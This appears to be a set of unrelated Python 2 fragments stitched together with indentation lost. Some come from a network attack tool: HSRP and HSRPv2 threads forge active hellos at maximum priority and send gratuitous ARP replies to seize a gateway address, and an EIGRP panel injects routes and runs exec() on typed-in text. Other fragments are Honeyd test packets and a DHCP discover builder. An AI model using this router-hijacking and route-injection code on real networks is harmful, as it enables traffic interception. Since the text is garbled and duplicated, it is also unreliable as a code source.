"Enter IP Address to add:",
)
entry = gtk.Entry(0)
dialog.vbox.pack_start(entry)
entry.show()
ret = dialog.run()
dialog.destroy()
if ret == gtk.RESPONSE_OK:
try:
peer = entry.get_text()
arp = dnet.arp()
mac = arp.get(dnet.addr(peer))
if not mac:
raise Exception("Unable to get mac address")
self.add_peer(mac.data, dnet.ip_aton(peer), int(self.as_spinbutton.get_value()))
except Exception, e:
self.log("EIGRP: Cant add peer %s: %s" % (peer, e))
def input_udp(self, eth, ip, udp, timestamp):
if ip.dst == dnet.ip_aton(RIP_MULTICAST_ADDRESS) and ip.src != self.ip:
if ip.src not in self.hosts:
src = dnet.ip_ntoa(ip.src)
iter = self.host_treestore.append(None, [src])
self.log("RIP: Got new host %s" % (src))
self.hosts[ip.src] = (iter, src)
msg = rip_message()
msg.parse(udp.data)
for i in msg.entries:
nh = dnet.ip_ntoa(i.nh)
if nh == "0.0.0.0":
nh = src
self.host_treestore.append(iter, [
"%s/%s via %s metric %d" % (dnet.ip_ntoa(
i.addr), dnet.ip_ntoa(i.mask), nh, i.metric)
])
else:
(iter, src) = self.hosts[ip.src]
msg = rip_message(None, [])
msg.parse(udp.data)
path = self.host_treestore.get_path(iter)
expanded = self.host_treeview.row_expanded(path)
child = self.host_treestore.iter_children(iter)
while child:
self.host_treestore.remove(child)
child = self.host_treestore.iter_children(iter)
for i in msg.entries:
nh = dnet.ip_ntoa(i.nh)
if nh == "0.0.0.0":
nh = src
self.host_treestore.append(iter, [
"%s/%s via %s metric %d" % (dnet.ip_ntoa(
i.addr), dnet.ip_ntoa(i.mask), nh, i.metric)
])
if expanded:
self.host_treeview.expand_row(path, False)
def Setup(self):
self.name = "Connection to open port"
self.expect = "gen.output.2"
# Packet 1
payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.254"),
dst=dnet.ip_aton("192.18.0.10"),
id=5624,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 2
payload = TCP(sport=555, dport=80,
seq=10001, ack=194595108,
flags=dnet.TH_ACK)
ip = IP(src=dnet.ip_aton("192.0.2.254"),
dst=dnet.ip_aton("192.18.0.10"),
id=5625, p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 3
payload = TCP(sport=555, dport=80,
seq=10001, ack=194595108,
flags=dnet.TH_ACK)
payload.data = 'Honeyd fools you'
ip = IP(src=dnet.ip_aton("192.0.2.254"),
dst=dnet.ip_aton("192.18.0.10"),
id=5625, p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
def Setup(self):
self.name = "Routing to Open Port"
self.expect = "route.output.1"
# Packet 1
payload = TCP(sport=555, dport=80, seq=10000,
flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.3.10"),
id=8143, ttl=1,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 2
payload = TCP(sport=555, dport=80, seq=10000,
flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.3.10"),
id=8144, ttl=2,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 3
payload = TCP(sport=555, dport=80, seq=10000,
flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.3.10"),
id=8145, ttl=3,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
def Setup(self):
self.name = "Routing to Open Port"
self.expect = "route.output.1"
# Packet 1
payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.3.10"),
id=8143,
ttl=1,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 2
payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.3.10"),
id=8144,
ttl=2,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 3
payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.3.10"),
id=8145,
ttl=3,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
(dhcp.DHCP_OPT_NETMASK, ''),
(dhcp.DHCP_OPT_DNS_SVRS, '')
)
)
# build udp packet
u = udp.UDP(
dport=67,
sport=68,
data=d
)
u.ulen = len(u)
# build ip packet
i = ip.IP(
dst=dnet.ip_aton('255.255.255.255'),
src=intf.get(sysintf)['addr'].ip,
data=u,
p=ip.IP_PROTO_UDP
)
i.len = len(i)
# build ethernet frame
e = ethernet.Ethernet(
dst=dnet.ETH_ADDR_BROADCAST,
src=hw.get(),
data=i
)
# send the data out
hw.send(str(e))
from dpkt import ethernet
sysintf = 'eth0'
hw = dnet.eth(sysintf)
intf = dnet.intf()
# build a dhcp discover packet to request an ip
d = dhcp.DHCP(chaddr=hw.get(),
xid=1337,
op=dhcp.DHCPDISCOVER,
opts=((dhcp.DHCP_OP_REQUEST, ''), (dhcp.DHCP_OPT_REQ_IP, ''),
(dhcp.DHCP_OPT_ROUTER, ''), (dhcp.DHCP_OPT_NETMASK, ''),
(dhcp.DHCP_OPT_DNS_SVRS, '')))
# build udp packet
u = udp.UDP(dport=67, sport=68, data=d)
u.ulen = len(u)
# build ip packet
i = ip.IP(dst=dnet.ip_aton('255.255.255.255'),
src=intf.get(sysintf)['addr'].ip,
data=u,
p=ip.IP_PROTO_UDP)
i.len = len(i)
# build ethernet frame
e = ethernet.Ethernet(dst=dnet.ETH_ADDR_BROADCAST, src=hw.get(), data=i)
# send the data out
hw.send(str(e))
def on_update_button_clicked(self, data):
page = self.notebook.get_current_page()
if page == 0:
msg = eigrp_packet(
eigrp_packet.EIGRP_OPTCODE_UPDATE,
eigrp_packet.EIGRP_FLAGS_COND_RECV,
0,
0,
int(self.as_spinbutton.get_value()),
[
eigrp_internal_route(
self.next_hop_entry.get_text(),
int(self.delay_spinbutton.get_value()),
int(self.bandwidth_spinbutton.get_value()),
int(self.mtu_spinbutton.get_value()),
int(self.hop_count_spinbutton.get_value()),
int(self.reliability_spinbutton.get_value()),
int(self.load_spinbutton.get_value()),
int(self.prefix_spinbutton.get_value()),
self.destination_entry.get_text(),
)
],
)
elif page == 1:
msg = eigrp_packet(
eigrp_packet.EIGRP_OPTCODE_UPDATE,
eigrp_packet.EIGRP_FLAGS_COND_RECV,
0,
0,
int(self.as_spinbutton.get_value()),
[
eigrp_external_route(
self.next_hop_entry1.get_text(),
self.orig_router_entry.get_text(),
int(self.orig_as_spinbutton.get_value()),
0,
int(self.external_metric_spinbutton.get_value()),
int(self.external_id_spinbutton.get_value()),
0,
int(self.delay_spinbutton1.get_value()),
int(self.bandwidth_spinbutton1.get_value()),
int(self.mtu_spinbutton1.get_value()),
int(self.hop_count_spinbutton1.get_value()),
int(self.reliability_spinbutton1.get_value()),
int(self.load_spinbutton1.get_value()),
int(self.prefix_spinbutton1.get_value()),
self.destination_entry1.get_text(),
)
],
)
elif page == 2:
buffer = self.update_textview.get_buffer()
text = buffer.get_text(buffer.get_start_iter(), buffer.get_end_iter())
if text == "":
return
exec("msg = " + text)
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
parent = model.iter_parent(model.get_iter(i))
if not parent:
parent = model.get_iter(i)
host = model.get_value(parent, self.TREE_HOST_ROW)
self.log("EIGRP: Sending update to %s" % (host))
peer = dnet.ip_aton(host)
self.peers[peer].update(msg)
def set_ip(self, ip, mask):
self.ip = dnet.ip_aton(ip)
def run(self):
self.parent.log("HSRP2: Thread started")
while self.running:
for i in self.parent.peers:
(iter, pkg, state, arp) = self.parent.peers[i]
if state:
hsrp2_group_state = hsrp2_group_state_tlv( hsrp2_group_state_tlv.OP_CODE_HELLO,
hsrp2_group_state_tlv.STATE_ACTIVE,
pkg["hsrp2_group_state_tlv"].ip_ver,
pkg["hsrp2_group_state_tlv"].group,
self.parent.mac,
255,
pkg["hsrp2_group_state_tlv"].hello_time,
pkg["hsrp2_group_state_tlv"].hold_time,
pkg["hsrp2_group_state_tlv"].ip
)
data = hsrp2_group_state.render()
if "hsrp2_text_auth_tlv" in pkg:
hsrp2_text_auth = hsrp2_text_auth_tlv(pkg["hsrp2_text_auth_tlv"].auth_data)
data += hsrp2_text_auth.render()
elif "hsrp2_md5_auth_tlv" in pkg:
if pkg["hsrp2_group_state_tlv"].ip_ver == 4:
ip = self.parent.ip
else:
ip = self.parent.ip6_ll[0] + self.parent.ip6_ll[-3:]
auth = hsrp2_md5_auth_tlv(pkg["hsrp2_md5_auth_tlv"].algo, pkg["hsrp2_md5_auth_tlv"].flags, ip, pkg["hsrp2_md5_auth_tlv"].keyid, "\x00" * 16)
if self.parent.ui == 'gtk':
secret = self.parent.auth_entry.get_text()
elif self.parent.ui == 'urw':
secret = self.parent.auth_edit.get_edit_text()
key_length = struct.pack("<Q", (len(secret) << 3))
key_fill = secret + '\x80' + '\x00' * (55 - len(secret)) + key_length
salt = data + auth.render()
m = hashlib.md5()
m.update(key_fill)
m.update(salt)
m.update(secret)
auth.csum = m.digest()
data += auth.render()
pass
if pkg["hsrp2_group_state_tlv"].ip_ver == 4:
udp_hdr = dpkt.udp.UDP( sport=HSRP2_PORT,
dport=HSRP2_PORT,
data=data
)
udp_hdr.ulen += len(udp_hdr.data)
ip_hdr = dpkt.ip.IP( ttl=1,
p=dpkt.ip.IP_PROTO_UDP,
src=self.parent.ip,
dst=dnet.ip_aton(HSRP2_MULTICAST_ADDRESS),
data=str(udp_hdr)
)
ip_hdr.len += len(ip_hdr.data)
ipt = dpkt.ethernet.ETH_TYPE_IP
else:
udp_hdr = dpkt.udp.UDP( sport=HSRP2_PORT6,
dport=HSRP2_PORT6,
data=data
)
udp_hdr.ulen += len(udp_hdr.data)
ip_hdr = dpkt.ip6.IP6( hlim=255,
nxt=dpkt.ip.IP_PROTO_UDP,
src=self.parent.ip6_ll,
dst=dnet.ip6_aton(HSRP2_MULTICAST6_ADDRESS),
data=udp_hdr,
plen = len(str(udp_hdr))
)
ip_hdr.extension_hdrs = { 0 : None,
43 : None,
44 : None,
51 : None,
50 : None,
60 : None
}
ipt = dpkt.ethernet.ETH_TYPE_IP6
eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(HSRP2_MULTICAST_MAC),
src=self.parent.mac,
type=ipt,
data=str(ip_hdr)
)
self.parent.dnet.send(str(eth_hdr))
if arp:
src_mac = dnet.eth_aton("00:00:0c:9f:f0:%02x" % (pkg["hsrp2_group_state_tlv"].group))
brdc_mac = dnet.eth_aton("ff:ff:ff:ff:ff:ff")
stp_uplf_mac = dnet.eth_aton("01:00:0c:cd:cd:cd")
ip = pkg["hsrp2_group_state_tlv"].ip
arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REPLY,
sha=src_mac,
spa=ip,
tha=brdc_mac,
tpa=ip
)
eth_hdr = dpkt.ethernet.Ethernet( dst=brdc_mac,
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp_hdr)
)
self.parent.dnet.send(str(eth_hdr))
arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REPLY,
sha=src_mac,
spa=ip,
tha=stp_uplf_mac,
tpa=ip
)
eth_hdr = dpkt.ethernet.Ethernet( dst=stp_uplf_mac,
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp_hdr)
)
self.parent.dnet.send(str(eth_hdr))
self.parent.peers[i] = (iter, pkg, state, arp - 1)
time.sleep(1)
self.parent.log("HSRP2: Thread terminated")
def run(self):
self.parent.log("HSRP: Thread started")
while self.running:
for i in self.parent.peers:
if self.parent.peers[i]["state"]:
pkg = self.parent.peers[i]["pkg"]
auth = self.parent.peers[i]["auth"]
if not auth is None:
hsrp = hsrp_packet(hsrp_packet.OP_HELLO, hsrp_packet.STATE_ACTIVE, pkg.hello, pkg.hold, 255, pkg.group, "\x00" * 8, pkg.ip)
auth = hsrp_auth_tlv(auth.algo, auth.flags, self.parent.ip, auth.keyid, "\x00" * 16)
if self.parent.ui == 'gtk':
secret = self.parent.auth_entry.get_text()
elif self.parent.ui == 'urw':
secret = self.parent.auth_edit.get_edit_text()
key_length = struct.pack("<Q", (len(secret) << 3))
key_fill = secret + '\x80' + '\x00' * (55 - len(secret)) + key_length
salt = hsrp.render() + auth.render()
m = hashlib.md5()
m.update(key_fill)
m.update(salt)
m.update(secret)
auth.csum = m.digest()
data = hsrp.render() + auth.render()
else:
hsrp = hsrp_packet(hsrp_packet.OP_HELLO, hsrp_packet.STATE_ACTIVE, pkg.hello, pkg.hold, 255, pkg.group, pkg.auth_data, pkg.ip)
data = hsrp.render()
udp_hdr = dpkt.udp.UDP( sport=HSRP_PORT,
dport=HSRP_PORT,
data=data
)
udp_hdr.ulen += len(udp_hdr.data)
ip_hdr = dpkt.ip.IP( ttl=1,
p=dpkt.ip.IP_PROTO_UDP,
src=self.parent.ip,
dst=dnet.ip_aton(HSRP_MULTICAST_ADDRESS),
data=str(udp_hdr)
)
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(HSRP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr)
)
self.parent.dnet.send(str(eth_hdr))
if self.parent.peers[i]["arp"]:
src_mac = dnet.eth_aton("00:00:0c:07:ac:%02x" % (pkg.group))
brdc_mac = dnet.eth_aton("ff:ff:ff:ff:ff:ff")
stp_uplf_mac = dnet.eth_aton("01:00:0c:cd:cd:cd")
ip = struct.pack("!I", pkg.ip)
arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REPLY,
sha=src_mac,
spa=ip,
tha=brdc_mac,
tpa=ip
)
eth_hdr = dpkt.ethernet.Ethernet( dst=brdc_mac,
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp_hdr)
)
self.parent.dnet.send(str(eth_hdr))
arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REPLY,
sha=src_mac,
spa=ip,
tha=stp_uplf_mac,
tpa=ip
)
eth_hdr = dpkt.ethernet.Ethernet( dst=stp_uplf_mac,
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp_hdr)
)
self.parent.dnet.send(str(eth_hdr))
self.parent.peers[i]["arp"] = self.parent.peers[i]["arp"] - 1
time.sleep(1)
self.parent.log("HSRP: Thread terminated")
def set_ip(self, ip, mask):
self.ip = dnet.ip_aton(ip)
